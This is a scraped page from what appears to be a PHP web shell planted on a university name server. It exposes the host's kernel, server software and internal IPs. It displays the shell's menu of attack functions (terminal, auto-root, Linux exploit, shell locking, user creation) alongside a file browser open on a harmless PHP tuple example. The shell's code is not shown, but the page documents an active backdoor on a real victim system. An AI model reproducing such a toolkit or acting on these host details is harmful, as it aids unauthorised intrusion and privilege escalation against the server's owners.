Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
doc /
Math_Vector /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
tuple_creation.php
853
B
-rw-r--r--
vector_creation.php
1.36
KB
-rw-r--r--
vector_operations.php
1.78
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tuple_creation.php
<?php require_once "Math/Vector/Tuple.php"; echo "Creating tuple\n"; $t = new Math_Tuple(array(2,3,4)); $t->toString()."\n"; echo "Tuple size: ".$t->getSize()."\n"; echo "Adding element value 7\n"; $t->addElement(7); echo "Tuple size: ".$t->getSize()."\n"; echo "Tuple toString: ".$t->toString()."\n"; echo "Setting element 1 to 11\n"; $t->setElement(1, 11); echo "Tuple toString: ".$t->toString()."\n"; echo "Maximum element value: ".$t->getMax()."\n"; echo "Minimum element value: ".$t->getMin()."\n"; echo "Index of maximum value: ".$t->getMaxIndex()."\n"; echo "Index of minimum value: ".$t->getMinIndex()."\n"; echo "Remove element 2\n"; $t->delElement(2); echo "Tuple toString: ".$t->toString()."\n"; echo "Get element 2: ".$t->getElement(2)."\n"; echo "Get index of element value 11: ".$t->getValueIndex(11)."\n"; ?>
Close